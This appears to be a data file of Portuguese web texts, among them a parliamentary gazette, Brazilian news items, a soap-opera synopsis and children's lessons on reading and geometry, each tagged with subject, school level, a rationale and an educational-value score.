+Vejo todo mundo na piscina, na praia, e a única coisa que eu posso fazer pra me refrescar é ficar sem cueca.",original,original,original,original,0,0.0
+"Página Inicial 3ª República Assembleia da República Série II-B XIV Legislatura Sessão Legislativa 02 Número 050 2021-06-12 Página 1
+O texto apresentado é obtido de forma automática, não levando em conta elementos gráficos e podendo conter erros. Se encontrar algum erro, por favor informe os serviços através da página de contactos.
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+Página 1
+Sábado, 12 de junho de 2021 II Série-B — Número 50
+XIV LEGISLATURA 2.ª SESSÃO LEGISLATIVA (2020-2021)
+S U M Á R I O
+Votos (n.os 87 a 91/2021): N.º 87/2021 — De pesar pelo falecimento de António Coimbra Martins. N.º 88/2021 — De pesar pelo falecimento do Coronel Diniz de Almeida. N.º 89/2021 — De saudação pelos profissionais que socorrem os migrantes que tentam chegar a solo europeu. N.º 90/2021 — De saudação ao Dia Internacional das Crianças Desaparecidas. N.º 91/2021 — Ao Sporting Clube de Portugal pela conquista do título de Campeão da Liga Europeia de Hóquei em Patins. Projetos de Voto (n.os 601 a 603/XIV/2.ª): N.º 601/XIV/2.ª (PSD e subscrito por uma Deputada do PS) — De saudação à poetisa Ana Luísa Amaral pela conquista
+do XXX Prémio Rainha Sofia. N.º 602/XIV/2.ª (BE) — De solidariedade para com o povo e os presos políticos da Bielorrússia. N.º 603/XIV/2.ª (PS) — De saudação ao Dia Mundial da Criança. Interpelação n.º 10/XIV/2.ª (CDS-PP): Sobre «Gestão da pandemia, pós-estado de emergência. Os certificados de vacinação e a recuperação nas áreas da saúde, social e económica». Petição n.º 224/XIV/2.ª (Mudar o sistema de registo dos Deputados na Assembleia da República: Biometria em vez de «passwords partilhadas»): — Relatório final da Comissão de Transparência e Estatuto dos Deputados.
+Página 2
+II SÉRIE-B — NÚMERO 50
+2
+VOTO N.º 87/2021 DE PESAR PELO FALECIMENTO DE ANTÓNIO COIMBRA MARTINS
+A Assembleia da República, reunida em sessão plenária, expressa o seu profundo pesar pelo falecimento de
+António Coimbra Martins, transmitindo à sua família e amigos as mais sentidas condolências.
+Aprovado em 2 de junho de 2021.
+O Presidente da Assembleia da República, Eduardo Ferro Rodrigues.
+———
+VOTO N.º 88/2021 DE PESAR PELO FALECIMENTO DO CORONEL DINIZ DE ALMEIDA
+A Assembleia da República, reunida em sessão plenária, expressa o seu pesar pelo falecimento de Eduardo
+Diniz Santos Almeida, e envia aos seus familiares e amigos sentidas condolências.
+Aprovado em 2 de junho de 2021.
+O Presidente da Assembleia da República, Eduardo Ferro Rodrigues.
+———
+VOTO N.º 89/2021 DE SAUDAÇÃO PELOS PROFISSIONAIS QUE SOCORREM OS MIGRANTES QUE TENTAM CHEGAR
+A SOLO EUROPEU
+A Assembleia da República aprova um voto de saudação aos profissionais que têm prestado socorro aos
+migrantes que têm chegado a Ceuta, particularmente a socorrista Luna Reyes, pelo gesto simbólico de apoio a
+um migrante.
+Apreciado e votado na Comissão de Assuntos Constitucionais, Direitos, Liberdades e Garantias em 9 de
+junho de 2021.
+Nota: Aprovado, por unanimidade.
+———
+VOTO N.º 90/2021 DE SAUDAÇÃO AO DIA INTERNACIONAL DAS CRIANÇAS DESAPARECIDAS
+A Assembleia da República saúda o Dia Internacional das Crianças Desaparecidas, reafirma o compromisso
+Página 3
+12 DE JUNHO DE 2021
+3
+da defesa indeclinável dos direitos das crianças, envia uma mensagem de esperança e solidariedade as famílias
+que vivem esta problemática, e apela ao combate sem tréguas à exploração sexual e tráfico de crianças
+mediante eficaz cooperação e abordagens comuns no plano internacional.
+Apreciado e votado na Comissão de Assuntos Constitucionais, Direitos, Liberdades e Garantias em 9 de
+junho de 2021.
+Nota: Aprovado, por unanimidade, tendo-se registado a ausência do CH.
+———
+VOTO N.º 91/2021 AO SPORTING CLUBE DE PORTUGAL PELA CONQUISTA DO TÍTULO DE CAMPEÃO DA LIGA
+EUROPEIA DE HÓQUEI EM PATINS
+A Assembleia da República congratula-se com a importante conquista alcançada pelo Sporting Clube de
+Portugal, que vence o título de Campeão Europeu de Hóquei pelo segundo ano consecutivo, produto de um
+trabalho consistente que se revela frutuoso por parte da inst...",original,original,original,original,1,0.2
+"CASACOR realiza palestra no IED amanhã | CASACOR
+CASACOR realiza palestra no IED amanhã
+Parte da Design Weekend 2019, a conversa ainda contará com os arquitetos Nildo José e Vitor Penha
+access_time 20 ago 2019, 17h00 - Publicado em 20 ago 2019, 13h04
+À esquerda, o arquiteto Vitor Penha, ao lado de Livia Pedreira, jornalista e presidente da CASACOR, e o arquiteto Nildo José.
+À esquerda, o arquiteto Vitor Penha, ao lado de Livia Pedreira, jornalista e presidente da CASACOR, e o arquiteto Nildo José. (Divulgação/CASACOR)
+O 8º DW! São Paulo Design Weekend já está rolando, com mais de 300 eventos que estão agitando a capital paulista. E a CASACOR não poderia ficar de fora desta programação – nesta quarta-feira, 21 de agosto, será promovido um talk com Livia Pedreira, diretora superintendente da CASACOR, além dos arquitetos Nildo José e Vitor Penha. A mediação fica por conta do jornalista Ric Peruchi.
+A conversa ocorre na sede do IED – Instituto Europeu de Design, em Higienópolis, e faz parte de uma iniciativa da faculdade de sediar exposições e workshops dedicados ao design. Serão mais de 30 atrações durante o DW!, curadas por 12 profissionais de diversas áreas que coordenam o tema Design Multicultural.
+Nesta quarta-feira, os convidados irão tratar do tema Design Afetivo e Identidade, das 19:30 às 21:30. Não deixe de acompanhar!
+Tudo sobre	CASACORDesign WeekendPalestraTalk",original,original,original,original,2,0.4
+"InícioQuestão RacialCasos de RacismoRetrospectiva 2014: Conheça 14 casos que provam que ainda existe racismo no...
+Questão RacialCasos de Racismo
+Retrospectiva 2014: Conheça 14 casos que provam que ainda existe racismo no Brasil
+29/12/2014
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+Reprodução/Facebook
+Vigora no Brasil desde 1989 uma lei estabelece o tempo de prisão para crimes resultantes de preconceito de raça, etnia e religião. Mas isso não significa que os crimes de cunho racial não venham sendo registrados nos últimos 25 anos – ainda que dados da Secretaria de Políticas de Promoção da Igualdade Racial apontem um decréscimo nos últimos três anos.
+Por Thiago de Araújo, do Brasil Post
+Em 2014, os crimes racistas mancharam diversos jogos de futebol no Brasil, ou até mesmo fora das nossas fronteiras, mas envolvendo jogadores brasileiros. Os casos do goleiro Aranha, do lateral Daniel Alves e do volante Tingaforam apenas alguns dos mais ilustrativos de um problema que ganha destaque quando envolve uma paixão nacional (neste caso, o futebol).
+O desprendimento que leva torcedores a ofender jogadores resume aquilo que diariamente integra um comportamento comum em toda a sociedade, não deixando imune nem mesmo figuras globais, o ambiente as universidades brasileiras, e até aqueles que acabam menosprezados por um determinado corte de cabelo durante a renovação de um passaporte.
+O Brasil Post noticiou esses casos e trazemos os mais reverberados deles aqui. A lista dos 14 mais comentados do ano representa um pouco do que não queremos ver em 2015.
+Acompanhe.
+Caso Aranha
+LEANDRO MARTINS/FUTURA PRESS/ESTADÃO CONTEÚDO
+No fim de agosto, o Santos venceu o Grêmio em Porto Alegre por 2 a 0, em partida válida pela Copa do Brasil. Mas o resultado ficou em segundo plano. O goleiro Aranha, do time paulista, alvo de ofensas racistas durante todo o jogo. Ele chamou a atenção do árbitro Wilton Pereira Sampaio várias vezes ao longo da partida, sem sucesso. Ufoima torcedora do Grêmio, filmada por câmeras de TV proferindo xingamentos a Aranha, virou alvo durante semanas por ‘representar a essência’ de mais um triste capítulo registrado pelo futebol brasileiro. Como se não bastasse, um dos auditores do Superior Tribunal de Justiça Desportiva (STJD) responsável pelo julgamento do caso no Rio de Janeiro foi acusado de ser racista,por conta de postagens em sua página no Facebook
+Daniel Alves
+Manu Fernandez/AP
+Jogadores brasileiros também sofreram fora do País. No fim de abril, o lateral-direito Daniel Alves, do Barcelona, se preparava para bater um escanteio quando uma banana, atirada por um torcedor do Villarreal, caiu ao seu lado no gramado. Em um ato impulsivo, Alves pegou a banana e a comeu, antes de então cobrar o escanteio. O caso gerou fortes repercussões – com direito a Pelé minimizar o ato racista –, com direito a uma outra polêmica: a campanha Somos Todos Macacos, encabeçada por outro brasileiro, Neymar. O que parecia ser um ato de apoio acabou se revelando uma ação de marketing do staff do atacante, e gerou fortes críticas nas redes
+Tinga
+ERBS JR./FRAME/ESTADÃO CONTEÚDO
+Um mês antes, o volante Tinga, do Cruzeiro, foi alvo de insultos racistas durante uma partida da Copa Libertadores, contra o Real Garcilaso, do Peru. Na oportunidade, até mesmo a presidente Dilma Rousseff se solidarizou com o jogador. Apesar do regulamento da Confederação Sul-Americana de Futebol (Conmebol) prever até mesmo a exclusão da equipe peruana por conta da manifestação racista de sua torcida, o clube acabou apenas multado em cerca de R$ 28 mil
+Racismo na Copa
+Reprodução/Sunday People
+O Brasil sediou a Copa do Mundo neste ano e, lamentavelmente, nem mesmo o mais importante evento do futebol escapou de incidentes racistas. No mais emblemático deles, um torcedor inglês teve uma das orelhas mordida por outro torcedor, durante a derrota da Inglaterra para o Uruguai por 2 a 1, em 16 de junho, na Arena Corinthians. Além da agressão, a vítima teria sido chamada de “negr...",original,original,original,original,3,0.6
+"Cairo - Um ciclone com a força de um furacão atingiu a costa do Iêmen no Mar da Arábia nesta terça-feira, inundando a quinta maior cidade do país, Mukalla, e levando milhares de pessoas a fugirem em busca de abrigo.
+Funcionários do governo e meteorologistas dizem que a tempestade é a mais intensa em décadas no país de clima árido, cuja resposta à situação de emergência é dificultada pela pobreza e uma guerra civil feroz.
+Em Mukalla, cuja população de 300 mil pessoas está na maior parte sob um governo de combatentes da Al Qaeda desde que o Exército se retirou da área, em abril, os carros estão sob as águas nas ruas e dezenas de famílias fugiram para um hospital por medo de deslizamentos de rochas.
+Moradores disseram que o passeio público na costa e muitas casas foram destruídos pelo ciclone, chamado de Chapala. Segundo e as autoridades da província de Shabwa, uma região seca, cerca de 6.000 pessoas se mudaram para lugares mais altos.
+""O vento derrubou totalmente a energia elétrica na cidade e as pessoas ficaram aterrorizadas Alguns moradores tiveram de deixar suas casas e fugir para áreas mais altas onde a inundação foi menor. Foi uma noite difícil, mas transcorreu pacificamente"", disse Sabri Saleem, que vive em Mukalla. Não havia informações, por ora, sobre feridos.
+Um militante da Al Qaeda rezou no Twitter pela salvação na tempestade e disse que um aparelho não-tripulado dos Estados Unidos estava voando especialmente baixo sobre a cidade, onde o vice-líder da Al Qaeda local foi morto em um ataque aéreo em junho.
+""Que Deus o faça cair"", disse o homem, que usava o nome Laith al-Mukalla. ""Deus nos poupe de sua ira, e mande as chuvas para o coração dos vales e montanhas.""
+O ciclone atingiu primeiro a remota ilha iemenita de Socotra, matando três pessoas e deslocando milhares. Uma ilha de belezas naturais, Socotra fica a 380 quilômetros da costa do Iêmen, no Mar da Arábia, e abriga centenas de espécies de plantas não encontradas em nenhum outro lugar na Terra. Seus 50.000 moradores falam uma língua própria.
+Agências meteorológicas previram que o Chapala tocaria a terra perto de Balhaf, local do terminal de gás natural liquefeito do Iêmen, e perderia força à medida que avançasse em direção à capital, Sanaa, no norte do país.",original,original,original,original,2,0.4
+"Olá, pequenos exploradores da língua portuguesa! Já pararam para pensar que ler é como embarcar em uma aventura sem sair do lugar? Quando lemos, abrimos portais para mundos mágicos, conhecemos personagens fascinantes e aprendemos coisas novas a cada instante. Mas, para aproveitar ao máximo essa jornada, precisamos ser bons intérpretes! 
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+Interpretar um texto é como ser um detetive: precisamos juntar as pistas, analisar os detalhes e desvendar o que o autor quis nos contar. Não basta apenas ler as palavras, precisamos entender o que está por trás delas. Imaginem que vocês estão lendo uma história sobre um cachorro chamado Pipoca que está triste porque perdeu seu brinquedo favorito. Para interpretar essa história, vocês precisam pensar: por que o Pipoca está triste? O que o brinquedo significa para ele? Como ele se sente ao perdê-lo? 
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+Para nos ajudar nessa missão de detetives da leitura, temos algumas ferramentas importantes. A primeira delas é a atenção. Precisamos ler com calma, prestando atenção em cada palavra, cada frase, cada detalhe. Depois, precisamos usar a nossa imaginação! Imagine os cenários, os personagens, as situações. Assim, a história ganha vida em nossa mente. E, por fim, precisamos usar o nosso conhecimento. O que já sabemos sobre o assunto da história? Já vivemos algo parecido? Isso nos ajuda a entender melhor o que estamos lendo. 
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+Vamos a um exemplo prático? Imagine que você lê a seguinte frase: ""O sol brilhava forte e o passarinho cantava alegremente na janela"". O que essa frase nos diz? Ela nos diz que é um dia ensolarado e que o passarinho está feliz. Mas, podemos ir além! Podemos imaginar a cena: um céu azul, o calor do sol, a melodia do passarinho. Podemos até sentir o cheiro das flores e o frescor da brisa! 
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+Ler e interpretar textos é uma habilidade muito importante para a vida. Nos ajuda a aprender, a nos comunicar, a entender o mundo ao nosso redor. E, o mais importante: nos diverte e nos faz sonhar! Então, que tal começar agora mesmo a sua próxima aventura literária? Escolha um livro, um gibi, um blog, ou até mesmo um bilhete e embarque nessa jornada! E lembre-se: a leitura é uma porta aberta para um mundo de possibilidades! Que tal depois de ler esse texto, você procurar um livro novo na sua casa ou na biblioteca da sua escola? Qual livro você vai escolher para começar essa nova aventura?",Português,Leitura e interpretação de texto,anos iniciais (1º ao 5º ano),"O trecho possui alto valor educacional, especialmente para os anos iniciais do ensino fundamental. Apresenta informações básicas sobre a importância da leitura e da interpretação de textos de forma lúdica e acessível, utilizando analogias e exemplos práticos. Incentiva a imaginação e a aplicação do conhecimento prévio, além de propor uma atividade de leitura ao final. O texto é claro, coerente e adequado ao público-alvo.",5,1.0
+"Veja o que acontece na novela Alma Gêmea - Cassilândia News
+22/01/2006 06:43
+Veja o que acontece na novela Alma Gêmea
+O resgate de Rafael
+Serena pede que Bernardo chame José Aristides para ajudar no tratamento de Rafael. Abílio fala para Olívia que ela pode reverter a situação diante do juiz se Dalila testemunhar contra Raul. Raul obriga Carlito a fazer o café da manhã e varrer a casa. Mirna expulsa Alaor para que não perceba que Rafael está lá. Alaor acha que ela está com outro pretendente. Serena pergunta a Rafael se a ouve e ele faz um sinal com o dedo indicando que sim. Cristina exige que Eduardo lhe diga onde está Rafael, mas ele se recusa. Cristina e Débora procuram por Serena na pensão, mas Hélio deixa claro que ninguém vai dizer onde ela está. Roberval não permite que Dalila deponha e fale de seu envolvimento com Raul para o juiz. José Aristides faz uma estátua de barro de Rafael, com fios de seu cabelo dentro. Ele explica para Serena que, enquanto Rafael estiver se recuperando, a estátua não pode se quebrar. Serena pede que José Aristides também coloque fios do cabelo dela dentro da estátua.
+Ciúmes juvenis
+Rafael melhora
+Serena explica a Eduardo que a febre de Rafael passou para a estátua, deixando-o pasmo. Felipe explica a Nina que ainda é apaixonado por Mirella e termina tudo com ela. Gumercindo se declara para Mirella e pede que lhe dê uma chance. Ofélia e Divina garantem a Vitório que vão lhe arrumar uma namorada melhor do que Olívia. Felipe fala para Cristina que não vai assinar o contrato de venda do roseiral. Rafael começa a se mexer e sorrir para Serena, que fica emocionada. Crispim escolhe um noivo para Mirna. Ofélia e Divina descobrem que Judith é solteira e tentam convencer Vitório a namorá-la. Judith dá um beijo em Vitório. Olívia vê e fica horrorizada. Julian diz a Eduardo que ele precisa dar mais atenção a Alexandra. Alexandra acha que Eduardo não a ama. Cristina e Débora falam para Roberval que ele pode ser preso por ter ajudado Rafael e exigem que diga onde está o botânico. Rafael fala o nome de Serena.
+Rafael ameaçado
+Luna manda que Serena tome cuidado com a estátua, deixando-a preocupada. Cristina grita e todos na casa correm para ajudá-la. Débora a manda se controlar. Alexandra exige saber se Eduardo vai agir como seu marido ou não. Eduardo e Alexandra se amam. Kátia conta para Elias que vai se casar com Jorge. Elias fica um pouco decepcionado, mas disfarça. Cristina manda Raul fazer de tudo para convencer Felipe de que vender o roseiral é a única maneira de salvar Rafael da falência. Mirella aceita namorar Gumercindo. Hélio diz a Sabina que quer marcar a data do noivado, deixando-a radiante. Kátia vai experimentar um vestido de noiva na loja de Madalena. Crispim vê Kátia vestida de noiva e toma um susto. Olívia acusa Vitório de tê-la largado porque ela perdeu o restaurante. Vitório vai atrás de Olívia e pede para se explicar. Roberval se recusa a dizer onde Rafael está, mas Dalila deduz que está no sítio de Bernardo e conta para Débora. Felipe vai visitar Rafael. José Aristides vê um carro se aproximando do sítio.",original,original,original,original,0,0.0
+"Futebol amador de Palhoça está suspenso devido a mudanças em projeto de lei - Esportes - Hora de Santa Catarina
+Futebol amador de Palhoça está suspenso devido a mudanças em projeto de lei
+A Liga Palhocense de Futebol suspendeu todas as rodadas de cinco campeonatos amadores por tempo indeterminado. A medida afeta cerca de 800 atletas. Tudo por conta de alterações no projeto de lei que autoriza o repasse de recursos para a realização dos torneios. Novas competições foram colocadas no calendário, e para a entidade elas são impossíveis de serem realizadas.
+Os campeonatos suspensos são: 1ª e 2ª divisões, juniores, 40tão e 50tão, totalizando 41 equipes. Segundo o presidente da liga, Laurindo José de Souza, o texto encaminhado à Câmara de Vereadores foi modificado por parlamentares que acrescentaram campeonatos como a Copa Barra (do Aririú), Copa da Amizade (Ponte do Imaruim) e Copa Noroeste (Passa Vinte). Para a realização de cada uma dessas competições, seriam necessários mais R$ 10 mil, al��m dos R$ 70 já disponibilizados pela prefeitura.
+No momento, o projeto está nas mãos do líder do governo da Câmara, Rosinei Horácio (PSD), que levará o projeto para debater com o prefeito Camilo Martins. Caso os novos campeonatos sejam retirados, o PL volta para a Comissão de Constituição e Justiça, que tem como presidente Jean Negão (PP).
+– Quando ele tramitou na CCJ da primeira vez, ficou aqui por um dia, dada urgência do campeonato. Agora, se nenhum vereador pedir vista, na próxima segunda-feira (21) ele deve ser aprovado – acredita o político.
+A Liga promete pressionar os vereadores para aprovação do projeto original. Somente nessa condição Laurindo Souza irá autorizar a volta dos jogos.
+Esta é a segunda ameaça ao futebol amador da Grande Florianópolis em 2017. Em março, por conta de uma mudança da CBF, que passou a exigir exames médicos dos atletas, a Liga Palhocense se afastou da Federação Catarinense de Futebol. O custo seria de cerca de R$ 100 por jogador. Por isso, os campeonatos desse ano deixaram de ser federados. Além de Palhoça, outros campeonatos municipais também passam por problemas.
+Em Florianópolis, começou neste final de semana a primeira divisão. A segundona terminou na semana passada, com o Vila Nova campeão e o Pântano do Sul vice. No entanto, devido à redução de repasses da prefeitura, a terceira divisão foi mesclada com a segunda.
+O Município repassava anualmente R$ 148 mil para a Liga Florianopolitana de Futebol (Liff). Em 2017, o valor diminuiu para R$ 110 mil, medida que impediu a realização de três competições: Copa Floripa, juniores e a Terceirona. O calendário terá apenas primeira, segunda (já encerrada), infantil e juvenil.
+— Para ano que vem, vamos torcer para que o valor do convênio seja maior para que a gente consiga ampliar as competições — deseja o presidente da Liff, Manoel de Paula Machado, o Dequinha.
+Já o problema dos exames médicos foi resolvido através de um convênio entre a liga e um médico, que foi até a sede da entidade realizar o procedimento ao custo de R$ 30 aos atletas, fora os R$ 5 de taxa da CBF. Tudo para manter as competições federadas, já que o TJD não julga recursos de competições que não sejam oficiais.
+A primeira divisão começa neste domingo de forma federada, diferente da segundona, que não teve o crivo da Federação Catarinense de Futebol. O convênio entre a Fundação Municipal de Esporte e associação de árbitros não teve problemas.
+O impasse envolve o ginásio Forquilhão. A liga josefense de futebol quer passar a administração do espaço para ela. Só que outro time de futebol, este americano, também utiliza o espaço, o São José Istepôs.
+— O campo está em más condições desde o último jogo do futebol americano. Eles tem outros espaços para eles jogarem no Município — reclamou o presidente da Liga Josefense, Orivaldo Leal.
+O campeonato municipal de Biguaçu já está no segundo turno. Devido ao impasse envolvendo os exames médicos, o torneio acabou não sendo federado. Mas em outubro, será realiza...",original,original,original,original,3,0.6
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+"O evento que está em sua primeira edição acontece em Salgueiro e irá homenagear o escritor Raimundo Carrero (foto)
+A I Bienal do Livro do Sertão vai levar oito dias de muita literatura para o sertão de Pernambuco. Entre os dias 12 e 19 de outubro, a cidade de Salgueiro será sede do maior evento de literatura da região. O evento, que vai ser instalado no Ginásio Poliesportivo Francisco Torres de Carvalho, irá ocupar uma área de 3.500 m² e irá reunir mais de 100 editoras e distribuidoras nacionais. O evento irá movimentar cerca de 2,5 milhões de reais na região e irá gerar mais de 500 empregos diretos e 2 mil indiretos. A primeira edição da Bienal terá como homenageado o escritor salgueirense Raimundo Carrero.
+A Bienal do Livro do Sertão faz parte das ações do Circuito Literário de Pernambuco (Clipe), projeto que propõe percorrer, anualmente, o Estado de Pernambuco, levando aos professores, estudantes e ao público em geral o acesso a literatura, escritores, ilustradores e editoras.
+Entre os autores e palestrantes já estão confirmadas as presenças da sexóloga do programa Altas Horas, Laura Muller, o poeta Jessier Quirino e o jornalista Magno Martins. O público vai acompanhar uma programação que inclui palestras, debates, recitais, conversas literárias, intercâmbio literário-cultural e Feira do Livro. O local contará, ainda, com Café Literário, Casa do Escritor, Vila da Criança, Espaço Jovem e praça de alimentação. Os professores também vão contar com atividades direcionadas para área educacional, que irão acontecer no Espaço do Professor, local destinado para debates e apresentações de teses e dissertações. Todas as atividades da Bienal são gratuitas.
+A I Bienal do Livro do Sertão é uma realização da Andelivros (Associação do Nordeste das Distribuidoras e Editoras de Livros), com patrocínio da Prefeitura de Salgueiro.
+As escolas municipais de Garanhuns, cujos profissionais estão sendo capacitados nas oficinas gratuitas do Festival Internacional de Literatura Infantil (Filig), e seis bibliotecas da cidade, vão receber Kits de Leitura formados por um acervo de livros infantis que serão entregues em um expositor com suporte para os livros.
+Ao todo, serão 58 kits. A seleção dos livros seguirá as recomendações da Fundação Nacional do Livro Infantil Juvenil (FNLIJ) e da curadoria do festival.
+A primeira Oficina de Mediadores de Leitura aconteceu em agosto. Até dezembro, serão realizadas mais quatro oficinas, sendo mais uma de Mediadores de Leitura e outras três de Gestores de Bibliotecas.
+As oficinas são atividades paralelas do Festival Internacional de Literatura Infantil (Filig), que movimenta Garanhuns no período de nove a 12 de outubro.
+O GRUPO DE XAXADO CABRAS DE LAMPIÃO arruma o matulão e arrocha as alpercatas pra entrar nas caatingas e dançar Xaxado nos distritos e povoados de sua própria terra, Serra Talhada, Terra de Lampião e Capital do Xaxado. Já se apresentaram no mês de agosto em Serrinha e Água Branca. ""E não vamos apenas dançar Xaxado, vamos também ministrar oficinas de Xaxado, com outras danças de alto quilate da cultura pernambucana"", comemora Karl Marx, ator e dançarino do grupo.
+O Projeto vai percorrer oito comunidades da zona rural, tendo como público alvo estudantes, trabalhadores rurais, donas de casa, pessoas que não vem costumeiramente à sede do município. ""Faz vinte anos que estamos construindo essa história, e é muito bom nos apresentarmos nos grandes palcos, em festivais internacionais, explica a diretora e coreógrafa Cleonice Maria, ""mas bacana mesmo é levarmos nosso espetáculo para as comunidades que pertencemos e nos inspira"", esclarece entusiasmada.
+PROGRAMAÇÃO
+09 às 12 hs. e 13 às 16h.
+Oficina de Xaxado, Frevo e Coco
+16: hs.
+Mostra de Resultado das oficinas
+Espetáculo Mistura Pernambucana
+Palestra sobre CULTURA
+Grupo de Xaxado Cabras de Lampião
+LOCALIDADES:
+Setembro
+Dia 16 - Santa Rita
+Dia 17 - Varzinha
+Dia 23 - Logradouro
+Dia 24 – Caiçarinha da Penha
+Outubro
+Dia 14 – Tauapiranga
+Este Projeto – MANUTENÇÃ...",original,original,original,original,3,0.6
+"As crianças devem ser supervisionadas por pais ou responsáveis ​​enquanto joga. O item foi feito de liga, pode ter um pouco de decapagem de tinta, se você se importar, gentilmente, não compre aqui, por favor, não explodir e danificar",original,original,original,original,1,0.2
+"OLHA O QUE O PERSONARE DISSE SOBRE O MEU JEITO DE SER MÃE:
+A mãe com o signo lunar em Câncer é mais do que uma mãe, ela é o esteio da família! Usa suas experiências como parâmetro para enfrentar algumas situações complicadas dentro de casa. Com isso, consegue cultivar como poucas o afeto dos filhos.
+Possui uma vocação natural para as tarefas maternas, encontra grande facilidade ao nutrir, ao cuidar dos filhos. Apegada, só se sente completa de verdade quando os filhos estão por perto.
+Primeiro agradecer o carinho, e dizer que amei esse site!
+Estou pensando em colocar no meu post de hoje.... muito legal!",original,original,original,original,1,0.2
+"Olá, pequenos exploradores! Já pararam para pensar como a leitura pode ser como uma viagem incrível? Imagine que cada livro, cada história, é um novo mundo esperando para ser descoberto. Hoje, vamos aprender juntos como desvendar os segredos da leitura e nos tornarmos verdadeiros aventureiros das palavras.
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+A leitura não é apenas juntar letrinhas e formar palavras. É muito mais do que isso! É como se fôssemos detetives, buscando pistas para entender o que o autor quis nos contar. Cada frase é uma pista, cada parágrafo um mistério a ser resolvido. Para sermos bons detetives da leitura, precisamos prestar atenção em tudo: nos personagens, no lugar onde a história acontece, no que eles fazem e como se sentem.
+
+Vamos pegar um exemplo simples? Imagine que você está lendo uma história sobre um menino chamado João que encontrou um filhote de cachorro abandonado na rua. A história conta que João estava muito feliz em ajudar o cachorrinho e o levou para casa. O que podemos entender com isso? Podemos entender que João é um menino bondoso e que se importa com os animais. Também podemos imaginar como o cachorrinho se sentiu ao ser resgatado e cuidado por João.
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+Percebem como a leitura nos permite imaginar e sentir coisas diferentes? É como se entrássemos na pele dos personagens e vivêssemos a história junto com eles. E para entendermos ainda melhor, podemos fazer algumas perguntas importantes: Quem são os personagens principais? Onde a história se passa? O que acontece de mais importante? Como os personagens se sentem?
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+Outra dica importante é prestar atenção nas palavras que não conhecemos. Se encontrarmos uma palavra nova, podemos tentar descobrir o que ela significa pelo contexto, ou seja, pelas outras palavras que estão perto dela. Também podemos perguntar para um adulto ou procurar no dicionário. Aprender palavras novas é como encontrar tesouros escondidos! Quanto mais palavras conhecemos, mais fácil fica entender o que lemos.
+
+E agora, que tal praticarmos um pouco? Peça para um adulto ler uma história para você e tente responder às perguntas que fizemos antes. Ou então, escolha um livro que você goste e comece a ler sozinho. Lembre-se, a leitura é uma aventura sem fim, cheia de surpresas e aprendizados. Quanto mais você lê, mais esperto e criativo você se torna.
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+Então, preparem seus óculos de detetive e embarquem nessa jornada maravilhosa pelo mundo da leitura! Descubram novos mundos, conheçam personagens incríveis e desvendem todos os segredos que as palavras têm para nos contar. A leitura é um presente que podemos aproveitar todos os dias. Boa aventura!",Português,Leitura e interpretação de texto,anos iniciais (1º ao 5º ano),"O trecho recebe a pontuação máxima por apresentar alto valor educacional, adequando-se perfeitamente aos anos iniciais do ensino fundamental. Introduz o conceito de leitura como uma aventura, incentivando a interpretação textual e a identificação de elementos-chave da narrativa (personagens, cenário, enredo, sentimentos). Utiliza linguagem acessível e estimula a curiosidade, além de oferecer dicas práticas para a compreensão e o vocabulário. O texto é claro, consistente e focado no aprendizado estruturado, tornando-o um recurso excepcional para o ensino.",5,1.0
+"A análise dos dados mostra que aconteceram 1.681 casos a mais do que o registrado no mesmo período de 2009, representando um aumento de 270,3 %.
+Cerca de 2.303 casos de dengue são confirmados na Paraíba. Esse foi o número de ocorrência até o último mês de julho, sendo 18 de febre hemorrágica. A análise dos dados mostra que aconteceram 1.681 casos a mais do que o registrado no mesmo período de 2009, representando um aumento de 270,3 %.
+O diagrama de controle da dengue na Paraíba não aponta uma epidemia da doença em 2010, mas a SES - Secretaria de Estado da Saúde alerta que as pessoas procurem as unidades básicas de saúde, aos primeiros sintomas, para qeu seja facilitada a identificação e o tratamento de casos graves e, consequentemente, as mortes.
+Autor: JG com informações de http://www.wscom.com.br / Foto disponível em: blogdaeureka.blogspot.com",original,original,original,original,1,0.2
+"Já parou para pensar que a matemática está em todo lugar? E quando falamos de geometria, essa presença se torna ainda mais evidente. Do seu celular retangular à pizza redonda que você adora, as formas geométricas nos cercam e são a base para entender o mundo! Mas, afinal, o que é geometria?
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+Geometria é o ramo da matemática que estuda as formas, tamanhos, posições e propriedades dos objetos. Ela nos ajuda a entender o espaço que ocupamos e como as coisas se relacionam entre si. Pense em um campo de futebol: ele é um retângulo! As traves formam ângulos, as linhas demarcatórias são segmentos de reta. Tudo isso é geometria!
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+Vamos explorar algumas formas básicas? O quadrado, por exemplo, possui quatro lados iguais e quatro ângulos retos, ou seja, ângulos de 90 graus. Já o círculo não tem lados, mas uma linha curva fechada que chamamos de circunferência. A distância do centro do círculo até a circunferência é o raio, um conceito importantíssimo. E o triângulo? Ah, ele é uma figura com três lados e três ângulos, podendo ser equilátero (todos os lados iguais), isósceles (dois lados iguais) ou escaleno (todos os lados diferentes). Tente identificar essas formas nos objetos da sua casa!
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+Além das formas planas, como as que desenhamos no papel, também existem as formas espaciais, que ocupam um volume. Um cubo, como um dado, tem seis faces quadradas. Uma esfera, como uma bola de futebol, não tem faces planas, mas uma superfície curva contínua. E o cilindro, como uma lata de refrigerante, tem duas bases circulares e uma superfície lateral curva. Conseguem imaginar outros exemplos?
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+A geometria não é apenas um monte de nomes e fórmulas. Ela nos ajuda a resolver problemas práticos. Imagine que você precisa cercar um jardim retangular. Para saber quantos metros de cerca você precisa comprar, você precisa calcular o perímetro do retângulo, que é a soma de todos os seus lados. Ou, se você quer pintar uma parede, precisa calcular a área para saber quanta tinta comprar.
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+E por que a geometria é importante? Porque ela está presente em diversas áreas do conhecimento, como arquitetura, engenharia, arte e até mesmo na computação gráfica. Entender geometria é fundamental para construir edifícios, projetar pontes, criar jogos de videogame e muito mais. A geometria nos dá as ferramentas para entender e transformar o mundo ao nosso redor.
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+Para finalizar, que tal um desafio? Olhe ao seu redor e tente identificar o maior número possível de formas geométricas. Pense em como elas se relacionam e como a geometria está presente no seu dia a dia. A matemática, e especialmente a geometria, está muito mais perto do que você imagina!",Matemática,Geometria e formas,anos finais (6º ao 9º ano),"O trecho recebe a pontuação máxima por apresentar, de forma clara e envolvente, a importância da geometria no cotidiano e em diversas áreas do conhecimento. A linguagem é acessível ao público do ensino fundamental, com exemplos práticos e um desafio final que estimula a observação e a aplicação dos conceitos aprendidos. O texto é bem estruturado, coerente e totalmente relevante para o ensino da geometria, abordando tanto formas planas quanto espaciais.",5,1.0
